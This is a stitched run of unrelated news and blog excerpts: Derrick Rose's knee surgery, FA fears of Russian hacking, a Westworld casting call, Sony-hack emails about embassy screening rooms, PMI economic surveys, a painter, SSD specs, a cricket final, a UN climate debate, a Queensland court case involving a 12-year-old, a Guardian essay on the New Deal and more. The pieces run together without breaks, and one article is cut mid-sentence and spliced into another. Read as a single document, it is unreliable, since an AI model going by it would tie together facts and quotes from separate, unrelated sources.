and he was able to walk out of the hospital." Rose could start working out at the team's practice facility Saturday, Forman said. "We just got to be patient and just give him the time he needs to get through the rehab," Bulls coach Tom Thibodeau said. "This rehab is much shorter. The other ones, they were expected to be long." Forman said they didn't know when Rose got injured, noting that guys are playing on undiagnosed meniscus tears around the league. When Rose, who missed 12 of 13 shots in Monday's win over the Milwaukee Bucks, complained of knee pain Tuesday, the Bulls got him an MRI, which diagnosed the tear. "The way it was explained to me there was a flap where the tear was, they went in and shaved it out, that portion was damaged, and that should relieve the pain," Forman said. In Rose's previous surgery, Cole repaired the meniscus, which comes with a longer rehab schedule. Rose was told then a second surgery on the meniscus would be possible. Forman said Rose will be able to start "loading up" on his practice regimen in a week, doing drills and basketball activities, and should return for the end of the regular season. Thibodeau said he didn't want to "skip ahead" and predict Rose's return, but was happy with the prognosis. Forman said he thinks Rose is raring to go. "I talked to Derrick a couple times earlier this week and obviously he was disappointed in being injured, but I think he's in a really good place and is ready to attack the rehab the next several weeks," Forman said. "I know he's really anxious to get back on the floor with his teammates." Rose's teammates, many of whom have played without him the past two seasons, are relieved he could return this season. "I'm happy that he's going to be all right," Joakim Noah said. "Time will tell. Rehab is no joke. Especially he's been doing it for three years now. I think it's mental at this point, having to put in all this work all the time. It's repetitive, it's very boring, especially when the games are going on. You want to play." If Rose, who is averaging 18.4 points and five assists, makes it back in four weeks, his first game would be against the New York Knicks at home on March 28. If he takes six weeks, he'd have three games left. The Bulls have eight games in April, including one back-to-back in Orlando and Miami on April 8-9 before the playoffs begin. Chicago (37-22) beat Minnesota 96-89 on Friday night and is currently in third place in the Eastern Conference, a half-game ahead of Central Division foe Cleveland. The Bulls believe because Rose already has 46 games under his belt, he won't have a problem starting again with so few games before the playoffs. Forman couldn't say if Rose would have minutes restrictions like he did earlier this season. For now, they just want to see him back on the court. "Our anticipation is that he'll be back to full activity," Forman said.England fear Russian hackers will attempt to break into computers containing Gareth Southgate’s tactical masterplan during next summer’s World Cup. Concerns confidential data may be vulnerable to cyber-attack at the tournament has prompted the Football Association to invest heavily in improving its IT defences in time for the Three Lions’ matches there. It is common for Southgate and his staff to store strategic information on laptops and tablets, information which could be used against England to devastating effect in Russia next year if it fell into the wrong hands. The threat had already been identified before Russian hacking group Fancy Bears leaked the medical files of dozens of footballers last month, including those of former Premier League stars Carlos Tevez, Dirk Kuyt and Gabriel Heinze. The FA fears that the England staff's laptops could be vulnerable to hacking Credit: EYEEM Also leaked was correspondence between the FA and Fifa about ongoing investigations into alleged doping in the English game. The FA has since written to Fifa to express concern about the hack, which appeared to be of files the world governing body would have held on its own database. In a bid not to fall victim to a similar attack during the World Cup, the FA will also issue strict guidance to players and support staff ahead of the tournament. All members of the England party will be warned not to use public wifi networks and will be given advice on their use of social media sites from a cyber-security perspective. The ease with which such websites could be hacked was laid bare last month after a post appeared on Real Madrid’s official Twitter account welcoming Lionel Messi to the club and Barcelona’s account was hijacked to announce the signing of Angel Di Maria from Paris Saint-Germain. The FA has contacted Fifa about earlier hacks Credit: AFP Those incidents were dismissed as pranks, something that would not have been the case had any tactical or other confidential information been obtained as a result of the hacks. Earlier this year, the St Louis Cardinals were punished after being found to have broken into the email system and scouting database of Major League Baseball rivals the Houston Astros. Sporting history is also littered with scandals of when teams have resorted to espionage to gain an edge. The most infamous of those was even branded ‘Spygate’ and saw the McLaren Formula One team hit with the biggest fine in sporting history - $100 million - after being found in possession of confidential information from Ferrari. Another spying row ended up in court this year when a former security consultant for New Zealand’s rugby union team was acquitted of lying to police over the discovery of a listening device in the team’s hotel ahead of their Bledisloe Cup clash with Australia. No evidence was found that any sensitive information had been passed to the Wallabies, who were themselves the alleged victims of spying ahead of their World Cup encounter with England two years ago in a brief controversy that also came to nought.If you missed a chance to be a part of your favorite show in Utah, here’s destiny beckoning at you again. HBO wants 300/400 locals as extras for Westworld season 2. They’ll be filming in the Ridgecrest area, California, USA around mid-December. Bakersfield reports while people from all ethnicities are required, they are looking forward to hiring quite a few Native American (more exposure to Ghost Nation in season 2 perhaps?). Interested? Here’s what you need to do: Send an email to [email protected] with the subject line “Ridgecrest Extras.” You will require to attach a natural picture of yourself along the following information: name, phone number and general information like height, weight, jacket size, shirt size, pants size, shoe size for men and height, weight, dress size, bust, waist, hips, shoe size for women. You will be shooting in a western town set in the 1890s. Therefore, you are requested to look up on Google to get an idea of how you should look. Men with both facial hair and without facial hair can apply. Women are required to have long hair but without color or highlights. On Craigslist, somebody’s posted a flyer along with information on payment, etc: We are paying $96 for 8 hours. For 3 or 4 days, These will be long days so there will be a lot of Over Time. 8 hours = $96 12 hours =$170 Camera time on an HBO Emmy winning Show = Priceless We need reliable people with good attitudes. We are filming in Ridgecrest CA. See attached flyer and submit (fast before we cast all the positions)….This will work approx 12/11 thru 12/15 but you will need to be fit for your costume the week of 12/4 – 12/8. Bret Eric Porter Interview: A Guest Cast From Westworld Season 1 Fellow Westworld fansite, Westworld Watchers got a guest cast from season 1 on-board for an interview. Bret Eric Porter was the Union Scout from episode 6, ‘The Adversary.’ In case you don’t remember him, see the clip below and then check out the most interesting bits from the interview. Porter said he had no idea what the show was about when he was cast for the role. He, of course, didn’t know what was going on (a sentiment shared by the main casts of the show) therefore, he had to “invent” the “how’s and why’s” for “emotional fuel to push the scene.” Porter shared the scene with Ed Harris (Man in Black) and James Marsden (Teddy Flood) so naturally, he shared his experience of working with them. Speaking of Harris, Porter said, “Ed is so easy with himself and playful. I found that refreshing.” Calling Harris a “great physical actor,” Porter recalled the actor’s stunt double saying, “Ed can do his own stunts; he doesn’t even need me but I think he humors me.” As for Marsden, Porter said he was a “cool cucumber,” “very focused,” and “very generous actor.” Check out the entire interview here. +1 134 SharesEmails from the Sony hack reveal that the MPAA asked its member studios to pay $165,000 each to upgrade the screening rooms of several U.S. embassies. American ambassadors could then utilize these private theaters as indirect lobbying tools by showing off Hollywood content to high level officials. Yesterday Wikileaks published a searchable database of the emails and documents that were released from the Sony hack. While a lot of ground was already covered after the initial breach, some new information is now bubbling up to the surface. One of the conversations that caught our eye mentions a request from MPAA boss and former U.S. senator Chris Dodd. In an effort to get foreign policy makers onside, the movie group asked its member studios to help fund an upgrade of the screening rooms in various U.S. embassies around the world. In an email from Sony Pictures Entertainment Head of Worldwide Government Affairs Keith Weaver to CEO Michael Lynton last March, Weaver explains that the studio had been asked for rather a sizable contribution. “I wanted to make you aware of a recent MPAA request, as Senator Dodd may contact you directly,” Weaver’s email begins. “Essentially, the request is for the member companies to consider upgrading screening rooms at U.S. Embassies in various countries (Germany, Spain, Italy, UK, and Japan)…” These rooms could then be used by the ambassadors to show off Hollywood content to invited high-level officials. “…the idea being that these upgraded screening rooms would allow American ambassadors to screen our movies to high level officials (and, thus, inculcate a stronger will to protect our interests through this quality exposure to our content),” Weaver adds. In other words, the MPAA wants to pay for an upgrade of the embassies’ private theaters, to indirectly protect the interests of U.S. movie studios abroad. It’s a rather interesting lobbying effort and one that doesn’t come cheap. The estimated cost for the project is $165,000 per studio, which means the total budget for the project is close to a million dollars. Unfortunately for the MPAA, Weaver suggested giving the project a miss and in a reply Lynton agreed. “While studios have supported efforts like this in the past, my inclination is that we pass on this financial commitment at this time (of course, applauding the idea/effort),” Weaver noted. In an email a few months later the issue was addressed again with additional details. In this conversation Weaver notes that the request is “not unusual” and that the studio supported a similar request years ago. “Apparently, donations of this kind are permissible,” Weaver writes. Again, Lynton replied that he was not inclined to support the project. It’s unclear whether any of the other members chipped in, or if the plan has been canceled due to a lack of financial support.Image copyright Getty Images The UK economy "regained some momentum" last month but the election and a spending squeeze weighed on the services sector, a survey has found. The Markit/CIPS purchasing managers' index (PMI) for services fell to 53.8 in May, compared with 55.8 in April. But a separate report found that companies were increasingly positive about the prospects for manufacturing. The EEF manufacturers' body raised its 2017 and 2018 growth forecasts, saying demand from Europe was "buoyant". Manufacturing growth was faster than expected in May, according to PMI figures released last week. In comparison, the services industry was "out of sync with the other sectors which were fired up and running", said Duncan Brock of the Chartered Institute of Procurement & Supply (CIPS). "It was clear that slower new business growth let the side down, impacted by caution around the general election, and a tightening of purse strings," Mr Brock said. Services growth was at a three-month low, but the PMI data suggested that this was partly offset by stronger manufacturing and construction. "Despite slower growth [for services] in May, the surveys indicate that the economy has regained some momentum in the second quarter," said IHS Markit economist Chris Williamson. Image copyright Thinkstock British manufacturing growth remains strong, with exports up and companies positive about prospects for the rest of 2017, according to the EEF quarterly survey. The report, compiled with accountancy firm BDO, said that demand in European markets "looks especially buoyant", with 61% of companies surveyed reporting an upturn. Despite Brexit fears and the election, confidence is high, the EEF said. Unknowns The balance between firms planning to recruit and those contracting stood at 21% during the quarter, up from 18% in the previous three months. Optimism about future growth also rose, leading the EEF to revise upwards its forecasts. Manufacturing is now expected to expand by 1.3% in 2017 and 0.5% in 2018, up from 1% and 0.1% respectively. EEF chief economist Lee Hopley said: "It's very encouraging that UK manufacturers have positioned themselves to capitalise on the windfall of a competitive pound and resurgent world economy." There were, however, plenty of economic unknowns that could derail growth, she said. The continued squeeze on household incomes and the possibility of no deal on Brexit could damage trade, Ms Hopley said.Calculation meets chaos in the work of Amy Shackleton, a painter who works without brushes to create masterful yet whimsical urban and natural landscapes. Her dynamic paintings are the result of an active process of dripping and pooling paints poured out on a canvas that is rotated in place while the artist pours on colors. Some of the works are inspired by views of real-life places like the High Line in New York City, while others seem taken from impossible perspectives, like the bottom of a puddle along an urban street. Angles, curves and swirls play into the colorful resulting representations, often featuring elements of liquidity and other twisting organic forms. Some of the pieces are quite large, spanning a single panel or multiple canvases and requiring a good deal of space for the colors to channel and spread. Elements of intention mingle with unpredictable effects: “Thorough planning, measuring and layering is involved, but she’s at the mercy of gravity, [leading to] refreshing unpredictability that helps illustrate the organic elements in her work. To combat the natural, she uses a rotating easel and a level–creating straight lines, controlled curves, and eventually, concrete buildings.” From her press release: Vibrancy, precision and a mesmerizing technique set her apart, but the combining of such varied landscapes as Cincinnati and Yosemite National Park into one fanciful image make her work truly unique. “I envision post-industrial worlds where healthy, sustainable relationships exist between man and the environment,” says the artist. “My paintings are intended to portray urban life at its best, demonstrating ways that we can work with nature rather than against it.”A while ago we already reported about the Crucial MX100 SSD, this time a distributor leaked all specs and prices. Last year at this timeframe they already announced the production and intention to make 16nm NAND flash. The MX100 is set to be the first SSD equipped with Micron's 16 nm MLC NAND flash memory, but as the listing reveals, but not all models will have the 16 nm NAND. Here's the cherry on top of the info, the 128 GB drive will pack 20 nm chips, while the 256 GB and 512 GB versions will have 16 nm flash. Thanks go out to TPU for this spot, see source link. The 16 nm NAND-equipped drive will be on display at at Computex 2014 and is expected to arrive in a 2.5-inch form factor initially with M.2. variants following later. Crucials' SSDs are capable of sequential read speeds of 550 MB/s while write speeds top 150 MB/s, 330 MB/s and 500 MB/s for the 128 GB, 256 GB and 512 GB models, respectively. The pre-order lists at pricing to be 70 Euro (128 GB), 95 Euro (256 GB) and 185 Euro (512 GB). We wonder have concerns if the PE cycles once again have dropped with a move to 16nm. For now I remain to be very skeptical about these Crucial / Micron drives. I'd rather invest in something with proper durability/endurance. The fact that Crucial/Micron decided to keep 20nm NAND for the 128GB model makes us wonder as to what the exact reason behind that choice is. In their defense, the marketing gobble states 72 TB written / 40GB per day for 5 years. Interestingly enough, they claim that for all three drives? Pay close attention to the claimed write performance as for the 128 and 256GB models, these are really poor. You need to factor in that over time performance will drop even further.ICC World Twenty20 final, Barbados: England 148-3 (17 ovs) bt Australia 147-6 (20 ovs) by seven wickets Match scorecard England had never won a major limited-overs tournament in 35 years of trying By Harry Reekie England secured their first victory at an ICC limited-overs tournament with a crushing seven-wicket win against Australia in the World Twenty20 final. Australia slipped to 8-3 after being put in by Paul Collingwood but recovered to post a competitive 147-6, with David Hussey top-scoring on 59. Craig Kieswetter (63) and Kevin Pietersen (47) took England to 118-1 but then fell in quick succession. But Collingwood eased his side home with exactly three overs remaining. It was a memorable win for England and delivered their first global trophy in the 35-year history of limited-overs competitions. Please turn on JavaScript. Media requires JavaScript to play. Andy Flower's side have reinvented themselves as a hugely dangerous outfit in the West Indies, and few could argue they are not worthy winners after another impressive display with bat and ball in Bridgetown. Once again the bowling was tight and disciplined, and the batting aggressive from the off. Indeed, it was rather out of character for England to win a game against Australia at such a canter. Victory for Michael Clarke's side, who came into the tournament unseeded, would have given them a clean sweep of World Cup, Champions Trophy and Twenty20 titles. But it was not to be as England continued to dominate in the Caribbean sunshine. Kieswetter scored 63 off 49 balls and hit two sixes Much has been made of the international flavour of England's batting line-up but, just as had been the case against Sri Lanka in the semi-final, it was a thoroughly homegrown bowling attack that did the early damage for Collingwood's side. Shane Watson, so often the bludgeon at the top of the Australia order, departed after only three balls when a wild edge off Ryan Sidebottom was parried by wicketkeeper Kieswetter and taken superbly on the rebound by Graeme Swann at slip. Opening partner David Warner followed in the second over, run out by a diving Michael Lumb after captain Clarke called a suicidal single to cover. And Australia were left flagging badly on 8-3 when Brad Haddin was given out caught down the leg-side to only the 13th delivery of the match - although replays showed the ball had clipped his hip. Clarke and Hussey stemmed the tide but managed little else against the new ball. A remarkable statistic of only two boundaries after seven overs told its own story. Please turn on JavaScript. Media requires JavaScript to play. The introduction of spin did little to alleviate the pressure and when Collingwood pulled off a truly sensational catch at mid-wicket to dismiss Clarke, the Aussies were literally scratching their heads in disbelief. But some big hitting from Hussey and Cameron White eventually saw the scoring burst into life when Michael Yardy was smashed for 21 in the 13th over and the pair continued their assault to put on 50 from 37 balls. White enjoyed something of a lifeline when Stuart Broad dropped a difficult chance running backwards but the England bowler got his revenge by taking another difficult chance to hand Luke Wright his first wicket of the competition. 606: DEBATE England have not just played good cricket but a good brand of cricket, and a brand we all love. Amir Mir That brought Mike Hussey to the crease, fresh from his batting heroics in the semi-final against Pakistan, and some lusty blows from the two brothers boosted Australia in the latter overs. David Hussey was run out with four balls to go in a tight final burst from Broad but 147-6 represented a fine recovery from Clarke's side after such a dreadful start. England's hopes of a rapid response were curtailed firstly when Lumb (2) chipped tamely to mid-on off Shaun Tait and secondly when a farcical problem with the sightscreen forced play to be suspended for 10 minutes. Please turn on JavaScript. Media requires JavaScript to play. Kieswetter had argued gaps in the electrical screens were making it hard to see the ball but when play finally resumed new batsman Pietersen certainly did not seem to share his concerns. A series of rasping drives through the covers saw the pair put on 50 in quick time and reach the 100-partnership in only 62 balls. But when Pietersen was caught at long-off trying to launch Steve Smith out of the ground and Kieswetter bowled comically by Mitchell Johnson leaving a straight one, England nerves began to flutter. But Collingwood and Eoin Morgan made sure there was no late drama, sealing a superb win with 18 balls to spare. Bookmark with: Delicious Digg reddit Facebook StumbleUpon What are these? E-mail this to a friend Printable versionImage caption Crises such as that in Somalia could be far worse as a result of climate change, Mr Steiner says Climate change poses a major threat to future peace and security, a senior UN official has warned. Achim Steiner from the UN Environment Programme said climate change would also "exponentially" increase the scale of natural disasters. His comments followed a UN declaration of famine in parts of Somalia. Meanwhile, Russia rejected a Security Council statement backed by Western nations which asserted the link, but later agreed to a weaker text. The Russian envoy Alexander Pankin said he was sceptical about the implications of putting climate change on the security council's agenda. Security Council members finally agreed to a text which spoke of the "possible security implications" of climate change. 'Exponential growth' Mr Steiner warned that an increase in the frequency of natural disasters across the globe could prove a major challenge in the coming decades. He said recent crises, such as in Somalia, illustrate that "our capacity to handle these kinds of events is proving a challenge, particularly if they occur simultaneously and start affecting, for instance, global food markets, regional food security issues, displacing people, creating refugees across borders". This is a good day today for climate security Peter Wittig, German Ambassador "Clearly the international community - if the scenarios in climate change for the future come true - will face an exponential growth of these kinds of extreme events," he added. His comments came as the Security Council formally debated the environment for the first time in four years, with Germany pressing for the first-ever council statement linking climate change to global peace and security. Diplomats said there were intense negotiations between Germany and Russia, which initially opposed any council action, before a statement on the issue was agreed to. Speaking as negotiations were continuing, Mr Pankin argued that the move was unnecessary and opposed by many countries. "We believe that involving the Security Council in a regular review of the issue of climate change will not bring any added value whatsoever and will merely lead to further increased politicisation of this issue and increased disagreements between countries," he said. However US Ambassador Susan Rice said that the council had an "essential responsibility to address the clear-cut peace and security implications of a changing climate" and said all countries should be demanding action. She also called failed attempts to reach consensus earlier in the day "pathetic" and "shortsighted". Somalia famine The final statement expressed "concern that possible adverse effects of climate change may, in the long run, aggravate certain existing threats to international peace and security". It also requested UN Secretary-General Ban Ki-moon to include information on possible climate change impacts in his regular reports on global trouble-spots. German Ambassador Peter Wittig welcomed the outcome, describing it as a "good day today for climate security". "We had quite extensive discussions," Mr Wittig said. "We wanted to get everyone on board. And we did." The council had failed to agree on whether climate change was an issue of world peace in 2007, when Britain brought up the issue. The move came after two regions of Somalia were declared a famine, after the worst drought in six decades. Conditions for famine include more than 30% of children being acutely malnourished, and four children out of every 10,000 dying daily. More than 10 million people have been affected by the crisis across east Africa.A 17-year-old who was caught by his friend's parents while he was having unprotected sex with a 12-year-old girl has been spared a jail sentence. The teenager from Queensland had pleaded guilty to five charges relating to his sexual relationship with the girl and was sentenced to two years probation, The Queensland Times reported on Friday. He pleaded guilty to three counts of indecent treatment of a child under 16 and two counts of unlawful carnal knowledge with a child under 16. The 17-year-old teenager from Queensland was spared a jail term for having sex with a 12-year-old girl (stock image) The Ipswich District Court heard the 17-year-old and the 12-year-old girl had consensual sex on two occasions between December 15, 2014 and January 1, 2015. The pair had exchanged flirtatious messages on Facebook before the sexual encounters and the 17-year-old knew how old the girl was. The matter came to the attention of the authorities when the pair had sex in the 17-year-old's friend's house and were caught by the friend's parents. CONSENT IN QUEENSLAND The age of consent in Queensland is 16 for vaginal sex and 18 for anal sex. If you are under the age of consent, you cannot legally agree to have sex. Even if you agree to sex, the person who has sex with you may be charged. If you are aged between 12 and 15, a person can legally have sex with you if you agree and they believed you were 16 or older. Courtesy: Law Stuff Crown prosecutor Noel Needham told the court the girl could consent at the age of 12. 'She still is able to consent, even though the carnal knowledge is unlawful, it's still considered consensual,' Mr Needham said. 'It's under
huge success. Within a generation, the United States was enjoying the fastest sustained growth in recorded history, and, moreover, the prosperity was shared broadly, with income rising faster at the bottom and middle of society than at the top. The phony in American politics: how voters turn into suckers Read more By the 1950s, there was broad consensus in America that the mixed economy was “an established and useful reality”, to borrow a phrase from a Roosevelt-era president of the US Chamber of Commerce (he was referring to collective bargaining). President Eisenhower, Republican, five-star army general and no big liberal, much less a communist (though he was accused of being one by the John Birch Society, which counted Fred Koch – him again – among its founders) broadened social security, expanded federal support of science and technology, and pushed for major infrastructure programs. Such was the political consensus that his legislation initiating the interstate highway system passed Congress with one dissenting vote in the Senate, and by voice vote in the House. In private, he mocked the arch-conservatives who dreamed of dismantling the New Deal. “There is a tiny splinter group … that believes you can do such things,” he wrote in a letter to his brother Edgar. “Among them are HL Hunt … a few other Texas oil millionaires, and an occasional politician or business man from other areas. Their number is negligible and they are stupid.” • • • “You don’t miss your water till your well runs dry,” the late, great Sam Cooke sang in one of his more melancholy songs. Around 2009, 2010, around the time we were crawling out from under the wreckage of 2008 and saw that the Wall Street crowd had come through just fine, thank you, that seems to be when a critical mass of the American population began to realize that, hey, we were missing something; that maybe our well was running dry. People were angry. We had good reason to be. We saw great prosperity at the top, scant trickle-down toward the bottom. In Texas, and especially in rural Texas – where, by the way, electricity and access to electronic media have been settled facts of life for years – the Tea Party rose with a mighty roar to rage against liberals, the government and the newly elected Democratic president. If that rage seems somewhat misdirected, here’s an explanation: 40 years of well-funded, highly organized laissez-faire proselytizing and government-bashing have done a number on the American mind. The country got conned by a profound ideological shift, starting in the early 1970s as hardcore free-market, anti-government advocates launched a concerted effort to change the political landscape. Jacob Hacker and Paul Pierson’s recent book American Amnesia ably tells the story, from the business elite who funded the movement (Charles and David Koch prominent among them), to the conservative thinktanks that developed the ideology, to the political actors who machined it into policy. The movement’s shock troops included tough-talking ideologues like Grover Norquist, president of Americans for Tax Reform, who said: “I don’t want to abolish government. I simply want to reduce it to the size where I can drag it into the bathroom and drown it in the bathtub.” Ayn Rand, author of romance novels for business moguls, became a movement icon with her depictions of rugged capitalist heroes taking on wimpy liberals and overbearing governments. One of Rand’s inner circle, Alan Greenspan, would serve as chairman of the Federal Reserve Bank from 1988 to 2006, where he presided over the broad deregulation of the financial system. (Later he would profess “shocked disbelief” at the meltdown of 2008, and allow that he’d “found a flaw” in his Randian ideology.) Facebook Twitter Pinterest Demonstrators in New York voice their frustration with the economy and Wall Street in 2011. Photograph: KeystoneUSA-Zum/Rex Shutterstock A very narrow slice of America – the 1% – reaped spectacular wealth from this political sea change. When Forbes magazine published its first annual list of the 400 wealthiest Americans in 1982, there were two billionaires on the roster, and the entire 400 had a combined net worth of $225bn in today’s dollars. By 2014, 113 billionaires were left off the list because they didn’t make they cut ($1.55bn); the combined net worth of the Forbes class of 2014 was $2.3tn. Meanwhile, earnings for working- and middle-class Americans stagnated even as we worked more hours, took fewer vacations and kept increasing our productivity. These days it’s not uncommon for hedge fund managers to make $1bn a year. CEOs routinely pull in annual compensation in the tens of millions of dollars. Even assuming these people are very good at what they do, you have to wonder: is anyone really that good? According to them, yes. What’s more, they’re liable to tell you they did it all themselves. Sanford Weill, Citigroup’s former chairman who clocked $785m over a five-year period, declared, “We didn’t rely on somebody else to build what we built.” A few years later, Citigroup would be rescued by the government to the tune of $476bn in cash and guarantees. More recently, tech venture capitalist Chamath Palihapitiya asserted, “If companies shut down, the stock market would collapse. If the government shuts down, nothing happens, and we all move on, because it just doesn’t matter.” Granted, a thriving mixed economy depends on individual initiative, innovation and risk-taking. But it also depends on the institutions and social structures that only well-functioning governance can provide, such as: laws, both civil and criminal. Private property rights. Secure and enforceable contracts, copyrights and patents. Stable banks. Well-regulated international commerce, including treaties, trade agreements, secure borders and customs controls. “I can guarantee that if you don’t have a legal structure you will not have innovation,” said Jim Dempsey, executive director of the Berkeley Center for Law and Technology, in a 2015 article in Wired. “Instead you will have chaos … every innovator survives on the oxygen of multiple regulatory systems.” The wealth that results from private enterprise is very much a social construct. President Obama famously overstated the case when he said in 2012, “If you’ve got a business – you didn’t build that.” Margaret Thatcher, Great Britain’s ideological twin to Ronald Reagan, equally overstated the case with her famous pronouncement, “There is no such thing as society.” The truth is it takes both, and there’s no readier example than the cellphone most of us are never without. In American Amnesia we find the story of Dr Vannevar Bush, FDR’s science czar during the second world war, and how Bush, at Roosevelt’s urging and with strong bipartisan support from Congress, set the path for America’s huge postwar spending on research and development in science, technology, and medicine. As Hacker and Pierson write: The fruits of these investments ranged from radar and GPS, to advanced medical technology, to robotics and the computing systems that figure in nearly every modern technology. Far from crowding out private R&D, moreover, these public investments spurred additional private innovation. The computer pioneers who developed better and smaller systems not only relied on publicly fostered breakthroughs in technology; they also would have found little market for their most profitable products if not for the internet, GPS, and other government-sponsored platforms for the digital revolution. If, as the authors of American Amnesia point out, you crack open that smartphone, you’ll find that every component is the product of research that the US government either funded or carried out directly: lithium-ion batteries, GPS, cellular technology, touch-screen and LCDs, internet connectivity, algorithmic applications. The internet itself is a government creation; the Department of Defense developed its precursor, the Arpanet, in order to connect with computing centers at major universities. Facebook Twitter Pinterest The smartphone: a triumph of US government investment. Photograph: Samuel Gibbs for the Guardian American exceptionalism: the great game and the noble way Read more So we can only stand amazed at the Olympian chutzpah of Silicon Valley billionaires when they talk about creating libertarian utopias that will transcend government. Venture capitalist Tim Draper has proposed making Silicon Valley its own semi-autonomous state. Google’s Larry Page wants to construct a “Google Island” where tech research can proceed free of government meddling. PayPal’s Peter Thiel, whose fortune was built not just on the internet but through helpful government regulation (such as the Securities Exchange Commission’s rule limiting losses on identity theft; how many of us would put our credit card information on the internet if the downside was losing everything we own?) is a prime mover of the Seasteading Institute, dedicated to the creation of manmade island nations beyond the reach of government. When faced with this sort of nonsense, one can’t help but think of the little boy who declares independence from his family, and runs away as far as the tree house in his backyard. The worldview of Thiel and company is about as juvenile as that, a kind of nerdy romanticism that recalls the capitalist fantasies of Ayn Rand. If not for the collective (Randians break out in hives when they encounter that word) efforts of American society, the industry in which tech moguls have so fantastically prospered wouldn’t exist. But it’s even more basic than that. The development and widespread availability of vaccines and antibiotics following the second world war are due in large part to initiatives carried out by the National Institutes of Health, the Department of Agriculture, and other government agencies. Longevity, quality of life – like wealth creation, these are social constructs. But it’s even more basic than modern medicine, and reaches back before the New Deal, to some of the very first initiatives of progressive government. The sharp improvement in mortality that began in the early years of the 20th century was largely the result of many more children surviving into adulthood. The cause was simple, though it took huge investments by government to make happen: cities began to clean up their water supplies. Filtration. Chlorination. Basic stuff we take for granted. If a good many of us are alive today, breathing and walking and talking and in some cases making a career out of raging against the government, it’s because our great-granddaddy didn’t die from cholera or typhoid way back in the day. The air we breathe. The ground beneath our feet. • • • Two American Dreams: how a dumbed-down nation lost sight of a great idea Read more The New Deal goal of broadly shared prosperity has taken a beating the past 40 years, and the damage shows. By virtually every measure relative to other rich nations, the US has lost ground since the 1970s. We’re shorter (height is an excellent indicator of social conditions), we don’t live as long, more of our babies die before their first birthdays, wages and educational achievement have stagnated, and inequalities of wealth and opportunity are higher than at any time since the late 19th century. Mortality rates for middle-aged white Americans have actually risen the past 15 years, especially for non-college-educated whites. Maternal mortality rose 27% nationwide between 2000 and 2014. In Texas, the maternal mortality rate doubled between 2010 and 2014. The very rich, of course, can buy what they need – healthcare, clean water, political clout. They have their walled compounds and private islands to retreat to. As for the rest of us – for instance, all the good citizens out there in rural Texas, Tea Party Texas, the hard country that was transformed by the New Deal – one tries to imagine how it might look in 70 or 80 years if current trends continue. Crumbling roads, jerry-rigged bridges, worn-out farms. A grudging, “market-based” energy grid. Clean water a rarity, and healthcare that’s hit and miss. Perineal tears, perhaps, are once again commonplace. A far-fetched scenario, surely, but no harder for us to imagine in 2016 than the lived reality of rural Texas 80 years ago.We've often wondered which football teams Sacha Baron Cohen's comedy creations would support. Does Borat follow FC Shakhter Karagandy? Does Ali G have a soft spot for Staines Town? Is Bruno a secret Rapid Vienna fan? The British comedian/writer/director now has a new football-themed project in the pipeline, centred on the English fishing port of Grimsby. Cohen's latest film focuses on a football hooligan who convinces his secret-agent brother to go on the run with him. What a hook... Grimsby - set pictures --> http://t.co/1KQvfk4DwA starring Sacha Baron Cohen and Mark Strong pic.twitter.com/WrIJbH0172 - Teaser-Trailer.com (@teasertrailer) July 16, 2014 Early pictures of filming -- which is actually taking place 200 miles away in Tilbury, Essex -- indicate that Grimsby has, ahem, not been portrayed in the best light. Images of children drinking beer and men urinating out of windows have unsurprisingly not been greeted well by actual residents of Grimsby. A councillor from the Lincolnshire town, Matthew Brown, told the Daily Mail: "It is using the town's name in potentially a poor light.... Anything that you associate with football hooliganism is going to be negative, but I hope people will be open-minded when they watch the film." Yes, quite.NEW DELHI: Services sector activity in India expanded for the first time in three months in September as it rebounded from GST-related contractions, driven by a surge in new business orders that supported job creation, a monthly survey said on Thursday.The Nikkei India Services PMI Business Activity Index rose to 50.7 in September -- from 47.5 in August -- a reading that pointed to a slight pace of expansion.In PMI parlance, a print above 50 means expansion while a score below that denotes contraction.The combination of marketing campaigns by companies and strengthening demand conditions led to new business growth in September, the survey found out.The latest services PMI follows the manufacturing one announced on Tuesday which showed that industrial activity registered the second straight month of expansion in September.Accordingly, the Nikkei India Composite PMI Output Index, which maps both manufacturing and services sectors, rose to 51.1 in September, from 49 in August."The Indian private sector regained some lost ground since the implementation of July's GST as service providers followed the manufacturing industry back to growth," said Aashna Dodhia, Economist at IHS Markit, and author of the report.The improving economic environment supported job creation, with services employment increasing at the fastest rate in almost six-and-a-half years."The labour market was strengthened over the month as the pace of job creation quickened to the fastest since mid-2011, led by the transport and storage and consumer services sub- sectors," Dodhia said.On the inflation front, input cost accelerated in September while output charges rose at the weakest rate since June.The survey further noted that service providers remained optimistic towards growth prospects over the coming 12 months, but their confidence dropped to a three-month low at the end of the third quarter (July-September).Dodhia, however, noted that the composite PMI for the July-September quarter indicated the lowest average since October-December 2013 "as the private sector transitions from recent structural shocks".The Reserve Bank, in its policy review meet on October 4, kept benchmark interest rate unchanged on fears of rising inflation while lowering growth forecast to 6.7 per cent for the current fiscal.Make a "Bucket Light" I decided after the last camping trip we went on when I got home I would make a bucket light. For those of you who have no idea what I am ta... Equipment Review: Walther P22 I purchased a Walther P22 about 6 months ago. My original plan was to use it for concealed carry. I can see the emails coming already...&quo... Equipment Review: Smith and Wesson M&P 9c I am interested in obtaining my concealed weapons permit for South Carolina. I had a small amount of money on me from the stimulus check the... Foxfire Books 1-3 For FREE By Flea - Be A Survivor You can download the Foxfire books volumes 1-3 for free. I have to thank MD Creekmore for this one. If anyone... Jayco Jay Series 1007 Pop Up Camper Well folks I am back from my weekend excursion with the new pop up camper. I know I promised this Sunday but I was beat after coming home, c... BATF Bound Book Requirement And Getting C&R Process As you all know I applied for and was granted a FFL C&R. Having one is a great thing...I have seen Mosin Nagant Rifles for as low at $69... Equipment Review: SOG Seal Pup Elite Well my next review is my SOG Specialty Knives E37 SEAL Pup Elite, Straight Edge, Satin that I purchased a while back. I have the knife al...Harvard officially established the first endowed faculty position for LGBTQ studies in the nation on Wednesday. Henry D. Abelove ’66, who retired as an English professor from Wesleyan University in 2011, will serve as the first F.O. Matthiessen Visiting Professor of Gender and Sexuality, a one-semester position that is responsible for teaching classes on LGBTQ issues. The chaired professorship is the result of a $1.5 million endowment that was raised by efforts of the Harvard Gay and Lesbian Caucus. “I was interested in Matthiessen and had written about him, so I was thrilled to be given this position,” said Abelove of the storied Harvard English professor, who was also openly gay. “My goals here are to teach my courses well, to find ways to be intellectually useful on campus.” Lecturer on History and Literature Timothy P. McCarthy ‘93, who has served on the HGLC board since 2006, coordinated the event that honored Abelove as the first Matthiessen visiting professor. “Since the HGLC took part in the fundraising for the creation of the Matthiessen Chair, I thought it was really important that we have something to welcome professor Abelove back to Harvard after all these years,” McCarthy said. “It’s a big achievement to have raised $1.5 million to endow a chaired professorship.” 